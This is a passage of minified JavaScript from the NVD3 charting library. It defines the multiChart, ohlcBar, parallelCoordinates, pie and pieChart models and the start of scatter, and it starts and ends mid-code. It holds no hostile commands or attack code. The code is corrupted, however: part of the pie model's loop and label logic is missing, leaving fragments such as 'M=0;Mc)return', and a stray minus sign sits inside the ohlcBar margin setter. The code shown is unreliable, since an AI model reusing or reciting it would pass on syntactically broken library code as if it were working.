d3.rgb("#ccc").darker(1.5*b).toString()})}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.multiChart=function(){"use strict";function b(j){return j.each(function(j){function k(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.value=a.point.x,a.series={value:a.point.y,color:a.point.color},B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function l(a){var b=2===j[a.seriesIndex].yAxis?z:y;a.point.x=v.x()(a.point),a.point.y=v.y()(a.point),B.duration(100).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).position(a.pos).hidden(!1)}function n(a){var b=2===j[a.data.series].yAxis?z:y;a.value=t.x()(a.data),a.series={value:t.y()(a.data),color:a.color},B.duration(0).valueFormatter(function(a,c){return b.tickFormat()(a,c)}).data(a).hidden(!1)}var C=d3.select(this);a.utils.initSVG(C),b.update=function(){C.transition().call(b)},b.container=this;var D=a.utils.availableWidth(g,C,e),E=a.utils.availableHeight(h,C,e),F=j.filter(function(a){return"line"==a.type&&1==a.yAxis}),G=j.filter(function(a){return"line"==a.type&&2==a.yAxis}),H=j.filter(function(a){return"bar"==a.type&&1==a.yAxis}),I=j.filter(function(a){return"bar"==a.type&&2==a.yAxis}),J=j.filter(function(a){return"area"==a.type&&1==a.yAxis}),K=j.filter(function(a){return"area"==a.type&&2==a.yAxis});if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,C),b;C.selectAll(".nv-noData").remove();var L=j.filter(function(a){return!a.disabled&&1==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})}),M=j.filter(function(a){return!a.disabled&&2==a.yAxis}).map(function(a){return a.values.map(function(a){return{x:a.x,y:a.y}})});o.domain(d3.extent(d3.merge(L.concat(M)),function(a){return a.x})).range([0,D]);var N=C.selectAll("g.wrap.multiChart").data([j]),O=N.enter().append("g").attr("class","wrap nvd3 multiChart").append("g");O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y1 nv-axis"),O.append("g").attr("class","nv-y2 nv-axis"),O.append("g").attr("class","lines1Wrap"),O.append("g").attr("class","lines2Wrap"),O.append("g").attr("class","bars1Wrap"),O.append("g").attr("class","bars2Wrap"),O.append("g").attr("class","stack1Wrap"),O.append("g").attr("class","stack2Wrap"),O.append("g").attr("class","legendWrap");var P=N.select("g"),Q=j.map(function(a,b){return j[b].color||f(a,b)});if(i){var R=A.align()?D/2:D,S=A.align()?R:0;A.width(R),A.color(Q),P.select(".legendWrap").datum(j.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(1==a.yAxis?"":" (right axis)"),a})).call(A),e.top!=A.height()&&(e.top=A.height(),E=a.utils.availableHeight(h,C,e)),P.select(".legendWrap").attr("transform","translate("+S+","+-e.top+")")}r.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"line"==j[b].type})),s.width(D).height(E).interpolate(m).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"line"==j[b].type})),t.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"bar"==j[b].type})),u.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"bar"==j[b].type})),v.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&1==j[b].yAxis&&"area"==j[b].type})),w.width(D).height(E).color(Q.filter(function(a,b){return!j[b].disabled&&2==j[b].yAxis&&"area"==j[b].type})),P.attr("transform","translate("+e.left+","+e.top+")");var T=P.select(".lines1Wrap").datum(F.filter(function(a){return!a.disabled})),U=P.select(".bars1Wrap").datum(H.filter(function(a){return!a.disabled})),V=P.select(".stack1Wrap").datum(J.filter(function(a){return!a.disabled})),W=P.select(".lines2Wrap").datum(G.filter(function(a){return!a.disabled})),X=P.select(".bars2Wrap").datum(I.filter(function(a){return!a.disabled})),Y=P.select(".stack2Wrap").datum(K.filter(function(a){return!a.disabled})),Z=J.length?J.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[],$=K.length?K.map(function(a){return a.values}).reduce(function(a,b){return a.map(function(a,c){return{x:a.x,y:a.y+b[c].y}})}).concat([{x:0,y:0}]):[];p.domain(c||d3.extent(d3.merge(L).concat(Z),function(a){return a.y})).range([0,E]),q.domain(d||d3.extent(d3.merge(M).concat($),function(a){return a.y})).range([0,E]),r.yDomain(p.domain()),t.yDomain(p.domain()),v.yDomain(p.domain()),s.yDomain(q.domain()),u.yDomain(q.domain()),w.yDomain(q.domain()),J.length&&d3.transition(V).call(v),K.length&&d3.transition(Y).call(w),H.length&&d3.transition(U).call(t),I.length&&d3.transition(X).call(u),F.length&&d3.transition(T).call(r),G.length&&d3.transition(W).call(s),x._ticks(a.utils.calcTicksX(D/100,j)).tickSize(-E,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+E+")"),d3.transition(P.select(".nv-x.nv-axis")).call(x),y._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y1.nv-axis")).call(y),z._ticks(a.utils.calcTicksY(E/36,j)).tickSize(-D,0),d3.transition(P.select(".nv-y2.nv-axis")).call(z),P.select(".nv-y1.nv-axis").classed("nv-disabled",L.length?!1:!0).attr("transform","translate("+o.range()[0]+",0)"),P.select(".nv-y2.nv-axis").classed("nv-disabled",M.length?!1:!0).attr("transform","translate("+o.range()[1]+",0)"),A.dispatch.on("stateChange",function(){b.update()}),r.dispatch.on("elementMouseover.tooltip",k),s.dispatch.on("elementMouseover.tooltip",k),r.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),s.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),v.dispatch.on("elementMouseover.tooltip",l),w.dispatch.on("elementMouseover.tooltip",l),v.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),w.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMouseover.tooltip",n),u.dispatch.on("elementMouseover.tooltip",n),t.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),u.dispatch.on("elementMouseout.tooltip",function(){B.hidden(!0)}),t.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()}),u.dispatch.on("elementMousemove.tooltip",function(){B.position({top:d3.event.pageY,left:d3.event.pageX})()})}),b}var c,d,e={top:30,right:20,bottom:50,left:60},f=a.utils.defaultColor(),g=null,h=null,i=!0,j=null,k=function(a){return a.x},l=function(a){return a.y},m="monotone",n=!0,o=d3.scale.linear(),p=d3.scale.linear(),q=d3.scale.linear(),r=a.models.line().yScale(p),s=a.models.line().yScale(q),t=a.models.multiBar().stacked(!1).yScale(p),u=a.models.multiBar().stacked(!1).yScale(q),v=a.models.stackedArea().yScale(p),w=a.models.stackedArea().yScale(q),x=a.models.axis().scale(o).orient("bottom").tickPadding(5),y=a.models.axis().scale(p).orient("left"),z=a.models.axis().scale(q).orient("right"),A=a.models.legend().height(30),B=a.models.tooltip(),C=d3.dispatch();return b.dispatch=C,b.lines1=r,b.lines2=s,b.bars1=t,b.bars2=u,b.stack1=v,b.stack2=w,b.xAxis=x,b.yAxis1=y,b.yAxis2=z,b.tooltip=B,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},showLegend:{get:function(){return i},set:function(a){i=a}},yDomain1:{get:function(){return c},set:function(a){c=a}},yDomain2:{get:function(){return d},set:function(a){d=a}},noData:{get:function(){return j},set:function(a){j=a}},interpolate:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return B.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),B.enabled(!!b)}},tooltipContent:{get:function(){return B.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),B.contentGenerator(b)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return f},set:function(b){f=a.utils.getColor(b)}},x:{get:function(){return k},set:function(a){k=a,r.x(a),s.x(a),t.x(a),u.x(a),v.x(a),w.x(a)}},y:{get:function(){return l},set:function(a){l=a,r.y(a),s.y(a),v.y(a),w.y(a),t.y(a),u.y(a)}},useVoronoi:{get:function(){return n},set:function(a){n=a,r.useVoronoi(a),s.useVoronoi(a),v.useVoronoi(a),w.useVoronoi(a)}}}),a.utils.initOptions(b),b},a.models.ohlcBar=function(){"use strict";function b(y){return y.each(function(b){k=d3.select(this);var y=a.utils.availableWidth(h,k,g),A=a.utils.availableHeight(i,k,g);a.utils.initSVG(k);var B=y/b[0].values.length*.9;l.domain(c||d3.extent(b[0].values.map(n).concat(t))),l.range(v?e||[.5*y/b[0].values.length,y*(b[0].values.length-.5)/b[0].values.length]:e||[5+B/2,y-B/2-5]),m.domain(d||[d3.min(b[0].values.map(s).concat(u)),d3.max(b[0].values.map(r).concat(u))]).range(f||[A,0]),l.domain()[0]===l.domain()[1]&&l.domain(l.domain()[0]?[l.domain()[0]-.01*l.domain()[0],l.domain()[1]+.01*l.domain()[1]]:[-1,1]),m.domain()[0]===m.domain()[1]&&m.domain(m.domain()[0]?[m.domain()[0]+.01*m.domain()[0],m.domain()[1]-.01*m.domain()[1]]:[-1,1]);var C=d3.select(this).selectAll("g.nv-wrap.nv-ohlcBar").data([b[0].values]),D=C.enter().append("g").attr("class","nvd3 nv-wrap nv-ohlcBar"),E=D.append("defs"),F=D.append("g"),G=C.select("g");F.append("g").attr("class","nv-ticks"),C.attr("transform","translate("+g.left+","+g.top+")"),k.on("click",function(a,b){z.chartClick({data:a,index:b,pos:d3.event,id:j})}),E.append("clipPath").attr("id","nv-chart-clip-path-"+j).append("rect"),C.select("#nv-chart-clip-path-"+j+" rect").attr("width",y).attr("height",A),G.attr("clip-path",w?"url(#nv-chart-clip-path-"+j+")":"");var H=C.select(".nv-ticks").selectAll(".nv-tick").data(function(a){return a});H.exit().remove(),H.enter().append("path").attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}).attr("d",function(a,b){return"m0,0l0,"+(m(p(a,b))-m(r(a,b)))+"l"+-B/2+",0l"+B/2+",0l0,"+(m(s(a,b))-m(p(a,b)))+"l0,"+(m(q(a,b))-m(s(a,b)))+"l"+B/2+",0l"+-B/2+",0z"}).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("fill",function(){return x[0]}).attr("stroke",function(){return x[0]}).attr("x",0).attr("y",function(a,b){return m(Math.max(0,o(a,b)))}).attr("height",function(a,b){return Math.abs(m(o(a,b))-m(0))}),H.attr("class",function(a,b,c){return(p(a,b)>q(a,b)?"nv-tick negative":"nv-tick positive")+" nv-tick-"+c+"-"+b}),d3.transition(H).attr("transform",function(a,b){return"translate("+l(n(a,b))+","+m(r(a,b))+")"}).attr("d",function(a,c){var d=y/b[0].values.length*.9;return"m0,0l0,"+(m(p(a,c))-m(r(a,c)))+"l"+-d/2+",0l"+d/2+",0l0,"+(m(s(a,c))-m(p(a,c)))+"l0,"+(m(q(a,c))-m(s(a,c)))+"l"+d/2+",0l"+-d/2+",0z"})}),b}var c,d,e,f,g={top:0,right:0,bottom:0,left:0},h=null,i=null,j=Math.floor(1e4*Math.random()),k=null,l=d3.scale.linear(),m=d3.scale.linear(),n=function(a){return a.x},o=function(a){return a.y},p=function(a){return a.open},q=function(a){return a.close},r=function(a){return a.high},s=function(a){return a.low},t=[],u=[],v=!1,w=!0,x=a.utils.defaultColor(),y=!1,z=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd","chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove");return b.highlightPoint=function(a,c){b.clearHighlights(),k.select(".nv-ohlcBar .nv-tick-0-"+a).classed("hover",c)},b.clearHighlights=function(){k.select(".nv-ohlcBar .nv-tick.hover").classed("hover",!1)},b.dispatch=z,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return h},set:function(a){h=a}},height:{get:function(){return i},set:function(a){i=a}},xScale:{get:function(){return l},set:function(a){l=a}},yScale:{get:function(){return m},set:function(a){m=a}},xDomain:{get:function(){return c},set:function(a){c=a}},yDomain:{get:function(){return d},set:function(a){d=a}},xRange:{get:function(){return e},set:function(a){e=a}},yRange:{get:function(){return f},set:function(a){f=a}},forceX:{get:function(){return t},set:function(a){t=a}},forceY:{get:function(){return u},set:function(a){u=a}},padData:{get:function(){return v},set:function(a){v=a}},clipEdge:{get:function(){return w},set:function(a){w=a}},id:{get:function(){return j},set:function(a){j=a}},interactive:{get:function(){return y},set:function(a){y=a}},x:{get:function(){return n},set:function(a){n=a}},y:{get:function(){return o},set:function(a){o=a}},open:{get:function(){return p()},set:function(a){p=a}},close:{get:function(){return q()},set:function(a){q=a}},high:{get:function(){return r},set:function(a){r=a}},low:{get:function(){return s},set:function(a){s=a}},margin:{get:function(){return g},set:function(a){g.top=void 0!=a.top?a.top:g.top,g.right=void 0!=a.right?a.right:g.right,g.bottom=void 0!=a.bottom?a.bottom:g.bottom,g.left=void 0!=a.left?a.left:g.left -}},color:{get:function(){return x},set:function(b){x=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.parallelCoordinates=function(){"use strict";function b(p){return p.each(function(b){function p(a){return F(h.map(function(b){if(isNaN(a[b])||isNaN(parseFloat(a[b]))){var c=g[b].domain(),d=g[b].range(),e=c[0]-(c[1]-c[0])/9;if(J.indexOf(b)<0){var h=d3.scale.linear().domain([e,c[1]]).range([x-12,d[1]]);g[b].brush.y(h),J.push(b)}return[f(b),g[b](e)]}return J.length>0?(D.style("display","inline"),E.style("display","inline")):(D.style("display","none"),E.style("display","none")),[f(b),g[b](a[b])]}))}function q(){var a=h.filter(function(a){return!g[a].brush.empty()}),b=a.map(function(a){return g[a].brush.extent()});k=[],a.forEach(function(a,c){k[c]={dimension:a,extent:b[c]}}),l=[],M.style("display",function(c){var d=a.every(function(a,d){return isNaN(c[a])&&b[d][0]==g[a].brush.y().domain()[0]?!0:b[d][0]<=c[a]&&c[a]<=b[d][1]});return d&&l.push(c),d?null:"none"}),o.brush({filters:k,active:l})}function r(a){m[a]=this.parentNode.__origin__=f(a),L.attr("visibility","hidden")}function s(a){m[a]=Math.min(w,Math.max(0,this.parentNode.__origin__+=d3.event.x)),M.attr("d",p),h.sort(function(a,b){return u(a)-u(b)}),f.domain(h),N.attr("transform",function(a){return"translate("+u(a)+")"})}function t(a){delete this.parentNode.__origin__,delete m[a],d3.select(this.parentNode).attr("transform","translate("+f(a)+")"),M.attr("d",p),L.attr("d",p).attr("visibility",null)}function u(a){var b=m[a];return null==b?f(a):b}var v=d3.select(this),w=a.utils.availableWidth(d,v,c),x=a.utils.availableHeight(e,v,c);a.utils.initSVG(v),l=b,f.rangePoints([0,w],1).domain(h);var y={};h.forEach(function(a){var c=d3.extent(b,function(b){return+b[a]});return y[a]=!1,void 0===c[0]&&(y[a]=!0,c[0]=0,c[1]=0),c[0]===c[1]&&(c[0]=c[0]-1,c[1]=c[1]+1),g[a]=d3.scale.linear().domain(c).range([.9*(x-12),0]),g[a].brush=d3.svg.brush().y(g[a]).on("brush",q),"name"!=a});var z=v.selectAll("g.nv-wrap.nv-parallelCoordinates").data([b]),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-parallelCoordinates"),B=A.append("g"),C=z.select("g");B.append("g").attr("class","nv-parallelCoordinates background"),B.append("g").attr("class","nv-parallelCoordinates foreground"),B.append("g").attr("class","nv-parallelCoordinates missingValuesline"),z.attr("transform","translate("+c.left+","+c.top+")");var D,E,F=d3.svg.line().interpolate("cardinal").tension(n),G=d3.svg.axis().orient("left"),H=d3.behavior.drag().on("dragstart",r).on("drag",s).on("dragend",t),I=f.range()[1]-f.range()[0],J=[],K=[0+I/2,x-12,w-I/2,x-12];D=z.select(".missingValuesline").selectAll("line").data([K]),D.enter().append("line"),D.exit().remove(),D.attr("x1",function(a){return a[0]}).attr("y1",function(a){return a[1]}).attr("x2",function(a){return a[2]}).attr("y2",function(a){return a[3]}),E=z.select(".missingValuesline").selectAll("text").data(["undefined values"]),E.append("text").data(["undefined values"]),E.enter().append("text"),E.exit().remove(),E.attr("y",x).attr("x",w-92-I/2).text(function(a){return a});var L=z.select(".background").selectAll("path").data(b);L.enter().append("path"),L.exit().remove(),L.attr("d",p);var M=z.select(".foreground").selectAll("path").data(b);M.enter().append("path"),M.exit().remove(),M.attr("d",p).attr("stroke",j),M.on("mouseover",function(a,b){d3.select(this).classed("hover",!0),o.elementMouseover({label:a.name,data:a.data,index:b,pos:[d3.mouse(this.parentNode)[0],d3.mouse(this.parentNode)[1]]})}),M.on("mouseout",function(a,b){d3.select(this).classed("hover",!1),o.elementMouseout({label:a.name,data:a.data,index:b})});var N=C.selectAll(".dimension").data(h),O=N.enter().append("g").attr("class","nv-parallelCoordinates dimension");O.append("g").attr("class","nv-parallelCoordinates nv-axis"),O.append("g").attr("class","nv-parallelCoordinates-brush"),O.append("text").attr("class","nv-parallelCoordinates nv-label"),N.attr("transform",function(a){return"translate("+f(a)+",0)"}),N.exit().remove(),N.select(".nv-label").style("cursor","move").attr("dy","-1em").attr("text-anchor","middle").text(String).on("mouseover",function(a){o.elementMouseover({dim:a,pos:[d3.mouse(this.parentNode.parentNode)[0],d3.mouse(this.parentNode.parentNode)[1]]})}).on("mouseout",function(a){o.elementMouseout({dim:a})}).call(H),N.select(".nv-axis").each(function(a,b){d3.select(this).call(G.scale(g[a]).tickFormat(d3.format(i[b])))}),N.select(".nv-parallelCoordinates-brush").each(function(a){d3.select(this).call(g[a].brush)}).selectAll("rect").attr("x",-8).attr("width",16)}),b}var c={top:30,right:0,bottom:10,left:0},d=null,e=null,f=d3.scale.ordinal(),g={},h=[],i=[],j=a.utils.defaultColor(),k=[],l=[],m=[],n=1,o=d3.dispatch("brush","elementMouseover","elementMouseout");return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},dimensionNames:{get:function(){return h},set:function(a){h=a}},dimensionFormats:{get:function(){return i},set:function(a){i=a}},lineTension:{get:function(){return n},set:function(a){n=a}},dimensions:{get:function(){return h},set:function(b){a.deprecated("dimensions","use dimensionNames instead"),h=b}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.pie=function(){"use strict";function b(E){return D.reset(),E.each(function(b){function E(a,b){a.endAngle=isNaN(a.endAngle)?0:a.endAngle,a.startAngle=isNaN(a.startAngle)?0:a.startAngle,p||(a.innerRadius=0);var c=d3.interpolate(this._current,a);return this._current=c(0),function(a){return B[b](c(a))}}var F=d-c.left-c.right,G=e-c.top-c.bottom,H=Math.min(F,G)/2,I=[],J=[];if(i=d3.select(this),0===z.length)for(var K=H-H/5,L=y*H,M=0;Mc)return"";if("function"==typeof n)d=n(a,b,{key:f(a.data),value:g(a.data),percent:k(c)});else switch(n){case"key":d=f(a.data);break;case"value":d=k(g(a.data));break;case"percent":d=d3.format("%")(c)}return d})}}),D.renderEnd("pie immediate"),b}var c={top:0,right:0,bottom:0,left:0},d=500,e=500,f=function(a){return a.x},g=function(a){return a.y},h=Math.floor(1e4*Math.random()),i=null,j=a.utils.defaultColor(),k=d3.format(",.2f"),l=!0,m=!1,n="key",o=.02,p=!1,q=!1,r=!0,s=0,t=!1,u=!1,v=!1,w=!1,x=0,y=.5,z=[],A=d3.dispatch("chartClick","elementClick","elementDblClick","elementMouseover","elementMouseout","elementMousemove","renderEnd"),B=[],C=[],D=a.utils.renderWatch(A);return b.dispatch=A,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{arcsRadius:{get:function(){return z},set:function(a){z=a}},width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},showLabels:{get:function(){return l},set:function(a){l=a}},title:{get:function(){return q},set:function(a){q=a}},titleOffset:{get:function(){return s},set:function(a){s=a}},labelThreshold:{get:function(){return o},set:function(a){o=a}},valueFormat:{get:function(){return k},set:function(a){k=a}},x:{get:function(){return f},set:function(a){f=a}},id:{get:function(){return h},set:function(a){h=a}},endAngle:{get:function(){return w},set:function(a){w=a}},startAngle:{get:function(){return u},set:function(a){u=a}},padAngle:{get:function(){return v},set:function(a){v=a}},cornerRadius:{get:function(){return x},set:function(a){x=a}},donutRatio:{get:function(){return y},set:function(a){y=a}},labelsOutside:{get:function(){return m},set:function(a){m=a}},labelSunbeamLayout:{get:function(){return t},set:function(a){t=a}},donut:{get:function(){return p},set:function(a){p=a}},growOnHover:{get:function(){return r},set:function(a){r=a}},pieLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("pieLabelsOutside","use labelsOutside instead")}},donutLabelsOutside:{get:function(){return m},set:function(b){m=b,a.deprecated("donutLabelsOutside","use labelsOutside instead")}},labelFormat:{get:function(){return k},set:function(b){k=b,a.deprecated("labelFormat","use valueFormat instead")}},margin:{get:function(){return c},set:function(a){c.top="undefined"!=typeof a.top?a.top:c.top,c.right="undefined"!=typeof a.right?a.right:c.right,c.bottom="undefined"!=typeof a.bottom?a.bottom:c.bottom,c.left="undefined"!=typeof a.left?a.left:c.left}},y:{get:function(){return g},set:function(a){g=d3.functor(a)}},color:{get:function(){return j},set:function(b){j=a.utils.getColor(b)}},labelType:{get:function(){return n},set:function(a){n=a||"key"}}}),a.utils.initOptions(b),b},a.models.pieChart=function(){"use strict";function b(e){return q.reset(),q.models(c),e.each(function(e){var k=d3.select(this);a.utils.initSVG(k);var n=a.utils.availableWidth(g,k,f),o=a.utils.availableHeight(h,k,f);if(b.update=function(){k.transition().call(b)},b.container=this,l.setter(s(e),b.update).getter(r(e)).update(),l.disabled=e.map(function(a){return!!a.disabled}),!m){var q;m={};for(q in l)m[q]=l[q]instanceof Array?l[q].slice(0):l[q]}if(!e||!e.length)return a.utils.noData(b,k),b;k.selectAll(".nv-noData").remove();var t=k.selectAll("g.nv-wrap.nv-pieChart").data([e]),u=t.enter().append("g").attr("class","nvd3 nv-wrap nv-pieChart").append("g"),v=t.select("g");if(u.append("g").attr("class","nv-pieWrap"),u.append("g").attr("class","nv-legendWrap"),i)if("top"===j)d.width(n).key(c.x()),t.select(".nv-legendWrap").datum(e).call(d),f.top!=d.height()&&(f.top=d.height(),o=a.utils.availableHeight(h,k,f)),t.select(".nv-legendWrap").attr("transform","translate(0,"+-f.top+")");else if("right"===j){var w=a.models.legend().width();w>n/2&&(w=n/2),d.height(o).key(c.x()),d.width(w),n-=d.width(),t.select(".nv-legendWrap").datum(e).call(d).attr("transform","translate("+n+",0)")}t.attr("transform","translate("+f.left+","+f.top+")"),c.width(n).height(o);var x=v.select(".nv-pieWrap").datum([e]);d3.transition(x).call(c),d.dispatch.on("stateChange",function(a){for(var c in a)l[c]=a[c];p.stateChange(l),b.update()}),p.on("changeState",function(a){"undefined"!=typeof a.disabled&&(e.forEach(function(b,c){b.disabled=a.disabled[c]}),l.disabled=a.disabled),b.update()})}),q.renderEnd("pieChart immediate"),b}var c=a.models.pie(),d=a.models.legend(),e=a.models.tooltip(),f={top:30,right:20,bottom:20,left:20},g=null,h=null,i=!0,j="top",k=a.utils.defaultColor(),l=a.utils.state(),m=null,n=null,o=250,p=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd");e.headerEnabled(!1).duration(0).valueFormatter(function(a,b){return c.valueFormat()(a,b)});var q=a.utils.renderWatch(p),r=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},s=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:b.x()(a.data),value:b.y()(a.data),color:a.color},e.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){e.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){e.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.legend=d,b.dispatch=p,b.pie=c,b.tooltip=e,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return i},set:function(a){i=a}},legendPosition:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return m},set:function(a){m=a}},tooltips:{get:function(){return e.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),e.enabled(!!b)}},tooltipContent:{get:function(){return e.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),e.contentGenerator(b)}},color:{get:function(){return k},set:function(a){k=a,d.color(k),c.color(k)}},duration:{get:function(){return o},set:function(a){o=a,q.reset(o)}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.models.scatter=function(){"use strict";function b(N){return P.reset(),N.each(function(b){function N(){if(O=!1,!w)return!1;if(M===!0){var a=d3.merge(b.map(function(a,b){return a.values.map(function(a,c){var d=p(a,c),e=q(a,c);return[m(d)+1e-4*Math.random(),n(e)+1e-4*Math.random(),b,c,a]}).filter(function(a,b){return x(a[4],b)})}));if(0==a.length)return!1;a.length<3&&(a.push([m.range()[0]-20,n.range()[0]-20,null,null]),a.push([m.range()[1]+20,n.range()[1]+20,null,null]),a.push([m.range()[0]-20,n.range()[0]+20,null,null]),a.push([m.range()[1]+20,n.range()[1]-20,null,null]));var c=d3.geom.polygon([[-10,-10],[-10,i+10],[h+10,i+10],[h+10,-10]]),d=d3.geom.voronoi(a).map(function(b,d){return{data:c.clip(b),series:a[d][2],point:a[d][3]}});U.select(".nv-point-paths").selectAll("path").remove();var e=U.select(".nv-point-paths").selectAll("path").data(d),f=e.enter().append("svg:path").attr("d",function(a){return a&&a.data&&0!==a.data.length?"M"+a.data.join(",")+"Z":"M 0 0"}).attr("id",function(a,b){return"nv-path-"+b}).attr("clip-path",function(a,b){return"url(#nv-clip-"+b+")"});C&&f.style("fill",d3.rgb(230,230,230)).style("fill-opacity",.4).style("stroke-opacity",1).style("stroke",d3.rgb(200,200,200)),B&&(U.select(".nv-point-clips").selectAll("clipPath").remove(),U.select(".nv-point-clips").selectAll("clipPath").data(a).enter().append("svg:clipPath").attr("id",function(a,b){return"nv-clip-"+b}).append("svg:circle").attr("cx",function(a){return a[0]}).attr("cy",function(a){return a[1]}).attr("r",D));var k=function(a,c){if(O)return 0;var d=b[a.series];if(void 0!==d){var e=d.values[a.point];e.color=j(d,a.series),e.x=p(e),e.y=q(e);var f=l.node().getBoundingClientRect(),h=window.pageYOffset||document.documentElement.scrollTop,i=window.pageXOffset||document.documentElement.scrollLeft,k={left:m(p(e,a.point))+f.left+i+g.left+10,top:n(q(e,a.point))+f.top+h+g.top+10};c({point:e,series:d,pos:k,seriesIndex:a.series,pointIndex:a.point})}};e.on("click",function(a){k(a,L.elementClick)}).on("dblclick",function(a){k(a,L.elementDblClick)}).on("mouseover",function(a){k(a,L.elementMouseover)}).on("mouseout",function(a){k(a,L.elementMouseout)})}else U.select(".nv-groups").selectAll(".nv-group").selectAll(".nv-point").on("click",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("dblclick",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementDblClick({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c})}).on("mouseover",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseover({point:e,series:d,pos:[m(p(e,c))+g.left,n(q(e,c))+g.top],seriesIndex:a.series,pointIndex:c,color:j(a,c)})}).on("mouseout",function(a,c){if(O||!b[a.series])return 0;var d=b[a.series],e=d.values[c];L.elementMouseout({point:e,series:d,seriesIndex:a.series,pointIndex:c,color:j(a,c)})})}l=d3.select(this);var R=a.utils.availableWidth(h,l,g),S=a.utils.availableHeight(i,l,g);a.utils.initSVG(l),b.forEach(function(a,b){a.values.forEach(function(a){a.series=b})});var T=E&&F&&I?[]:d3.merge(b.map(function(a){return a.values.map(function(a,b){return{x:p(a,b),y:q(a,b),size:r(a,b)}})}));m.domain(E||d3.extent(T.map(function(a){return a.x}).concat(t))),m.range(y&&b[0]?G||[(R*z+R)/(2*b[0].values.length),R-R*(1+z)/(2*b[0].values.length)]:G||[0,R]),n.domain(F||d3.extent(T.map(function(a){return a.y}).concat(u))).range(H||[S,0]),o.domain(I||d3.extent(T.map(function(a){return 